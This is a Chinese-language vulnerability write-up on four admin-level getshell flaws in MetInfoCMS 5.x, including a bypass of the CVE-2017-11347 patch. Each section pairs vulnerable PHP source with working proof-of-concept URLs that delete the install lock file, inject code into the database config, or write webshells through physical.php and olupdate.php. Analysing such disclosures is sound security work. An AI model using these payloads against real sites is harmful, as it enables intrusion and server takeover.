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331 lines
11 KiB
Markdown
331 lines
11 KiB
Markdown
![]() |
MetInfoCMS 5.X版本GETSHELL漏洞合集
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## 0x00 前言
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2018年1月底MetInfoCMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
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## 0x01安装过程过滤不严导致Getshell
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*前提:有删除/config/install.lock权限*
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> 默认安装的时候设置了权限的@chmod('../config/install.lock',0554);,所以需要在权限修改了的情况下才能利用这个
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### 1. 结合网上爆出的后台任意文件删除漏洞
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```php
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#/admin/app/batch/csvup.php
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$classflie=explode('_',$fileField);
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$classflie=explode('-',$classflie[count($classflie)-1]);
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$class1=$classflie[0];
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$class2=$classflie[1];
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$class3=$classflie[2];
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$class=$class3?$class3:($class2?$class2:$class1);
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$classcsv=$db->get_one("select * from $met_column where id=$class");
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if(!$classcsv){
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metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
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}
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# 省略代码
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@file_unlink($flienamecsv);
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```
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删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:
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```html
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http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
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```
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### 2. 重装时数据库配置文件过滤不当
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```php
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#/install/index.php
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case 'db_setup':
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{
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if($setup==1){
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$db_prefix = trim($db_prefix);
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$db_host = trim($db_host);
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$db_username = trim($db_username);
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$db_pass = trim($db_pass);
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$db_name = trim($db_name);
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$config="<?php
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/*
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con_db_host = \"$db_host\"
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con_db_id = \"$db_username\"
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con_db_pass = \"$db_pass\"
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con_db_name = \"$db_name\"
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tablepre = \"$db_prefix\"
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db_charset = \"utf8\";
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*/
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?>";
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$fp=fopen("../config/config_db.php",'w+');
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fputs($fp,$config);
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fclose($fp);
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```
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在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
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### 3. POC
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数据库配置时修改任意参数为`*/phpinfo();/*`可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
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shell地址:`http://xxx.com/config/config_db.php`
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## 0x02 CVE-2017-11347补丁绕过继续Getshell
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*前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)*
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### 1. 查找绝对路径的方法:
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- 利用安装目录下的phpinfo文件: `/install/phpinfo.php`
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- 利用报错信息(
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信息在HTML注释中,必须通过查看网页源码的方式才能获取内容,否则看上去是空白页
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)
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```
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/app/system/include/public/ui/admin/top.php
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/app/system/include/public/ui/admin/box.php
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/app/system/include/public/ui/web/sidebar.php
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```
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### 2. 漏洞分析
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5.3.19版本针对CVE-2017-11347的补丁分析
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```
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switch($val[2]){
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case 1:
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$address="../about/$fileaddr[1]";
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break;
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case 2:
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$address="../news/$fileaddr[1]";
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break;
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case 3:
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$address="../product/$fileaddr[1]";
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break;
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case 4:
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$address="../download/$fileaddr[1]";
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break;
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case 5:
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$address="../img/$fileaddr[1]";
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break;
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case 8:
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$address="../feedback/$fileaddr[1]";
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break;
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default:
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$address = "";
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break;
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}
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$newfile ="../../../$val[1]";
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if($address != ''){
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Copyfile($address,$newfile);
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}
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}
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}
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```
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即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
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漏洞利用(网站安装在服务器根路径的情况):
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第一步,新建1.ico文件,内容为:<?php phpinfo();?>
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在后台"地址栏图标"处上传该文件。
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得到地址为:http://localhost/upload/file/1506587082.ico
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第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):
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```
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http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
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```
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shell的地址为:
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```
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http://localhost/about/shell.php
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```
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### 3. POC(注意左斜杠和右斜杠不能随意更改):
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```
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http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1
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```
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特别注意其中的:“网站index.php上层目录名”,
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1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www";网站index.php上层目录名设置为"www"; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为"html";。其他的环境类推(利用绝对路径泄露)。
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2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
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例如:网站搭建在:http://localhost/MetInfoCMS /,则第二步的payload如下:
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```
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http://localhost/MetInfoCMS/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\MetInfoCMS.\MetInfoCMS \about\shell.php|1
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```
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相应生成的shell地址为:
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```
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http://localhost/MetInfoCMS/about/shell.php
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```
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## 0x03 Copyindx函数处理不当Getshell
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### 1. 声明
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此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347漏洞十分相似,但是存在根本的差异,不同点如下:
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(1)触发函数是Copyindex函数,而非Copyfile
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(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
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(3)此漏洞Getshell不需要上传图片
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(4)结合CSRF可以实现一键Getshell
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### 2. 漏洞点
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```
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# admin/app/physical/physical.php:197-236
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switch($op){
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case 1:
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if(is_dir('../../../'.$val[1])){
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deldir('../../../'.$val[1]);
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echo $lang_physicaldelok;
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}
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else{unlink('../../../'.$val[1]);
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echo $lang_physicaldelok;
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}
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break;
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case 2:
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$adminfile=$url_array[count($url_array)-2];
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$strsvalto=readmin($val[1],$adminfile,1);
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filetest('../../../'.$val[1]);
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deldir('../../../'.$val[1]);
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$dlappfile=parse_ini_file('dlappfile.php',true);
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if($dlappfile[$strsvalto]['dlfile']){
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$return=varcodeb('app');
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$checksum=$return['md5'];
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$met_file='/dl/app_curl.php';
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$stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
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}else{
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$met_file='/dl/olupdate_curl.php';
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$stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]");
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}
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if($stringfile==1){
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echo $lang_physicalupdatesuc;
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}
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else{
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echo dlerror($stringfile);
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die();
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}
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break;
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case 3:
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$fileaddr=explode('/',$val[1]);
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$filedir="../../../".$fileaddr[0];
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if(!file_exists($filedir)){ @mkdir ($filedir, 0777); }
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if($fileaddr[1]=="index.php"){
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Copyindx("../../../".$val[1],$val[2]);
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}
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```
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当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于"index.php"则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:
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```
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#admin/include/global.func.php:877-884
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function Copyindx($newindx,$type){
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if(!file_exists($newindx)){
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$oldcont ="<?php\n# xxx Enterprise Content Management System \n# Copyright (C) xxx Co.,Ltd (http://www.xxx.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) xxx Co., Ltd. (http://www.xxx.cn). All rights reserved.\n?>";
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$fp = fopen($newindx,w);
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fputs($fp, $oldcont);
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fclose($fp);
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}
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}
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```
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可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
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### 3. POC(xxx为任意的shell目录,index.php文件名不能修改)
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生成的shell地址:
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```
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http://localhost/MetInfoCMS/xxx/index.php
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```
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## 0x04 olupdate文件缺陷导致Getshell
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### 1. 漏洞点
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```
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#/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程
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#326-360行
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$num=1;
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$random = met_rand(6);
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$date=date('Ymd',time());
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require_once '../system/database/global.func.php';
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do{
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$sqldump = '';
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$startrow = '';
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$tables=tableprearray($tablepre);
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$sizelimit=2048;
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$tableid = isset($tableid) ? $tableid - 1 : 0;
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$startfrom = isset($startfrom) ? intval($startfrom) : 0;
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$tablenumber = count($tables);
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for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
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$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
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$startfrom = 0;
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}
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$startfrom = $startrow;
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$tableid = $i;
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if(trim($sqldump)){
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$sqlfile[]=$bakfile = "../update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql";
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$version='version:'.$metcms_v;
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$sqldump = "#xxx.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n#{$met_webkeys}\n# --------------------------------------------------------\n\n\n".$sqldump;
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if(!file_put_contents($bakfile, $sqldump)){
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dl_error($lang_updaterr2."({$adminfile}/update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql)",$type,$olid,$ver,$addr,$action);
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}
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}
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$num++;
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}
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while(trim($sqldump));
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if(is_array($sqlfile)) $string = "<?php\n \$sqlfile = ".var_export($sqlfile, true)."; ?>";
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filetest("../update/$addr/sqlist.php");
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if(!file_put_contents("../update/$addr/sqlist.php",$string)){
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dl_error($lang_updaterr2."({$adminfile}/update/$addr/sqlist.php)",$type,$olid,$ver,$addr,$action);
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}
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```
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此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
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*PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = "../update/$addr/{$con_dbname}{$date}{$random}{$num}.sql";会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)*
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最后的payload结构如下:
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```
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/admin/system/olupdate.php?action=sql&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000
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```
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### 2.POC (参数addr为生成shell的目录,生成shell的文件名sqlist.php不可控)
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```
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http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=12313&tableid=1000
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```
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执行后的shell地址:
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```
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http://xxx.com/admin/update/12313/sqlist.php
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```
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## 0x05小结
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都是需要后台管理员权限才能利用的漏洞,不过危害还是比较大,没有升级的网站赶紧升级6.0版本哦!
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前几个都有一定的条件要求,后面两个比较通杀!
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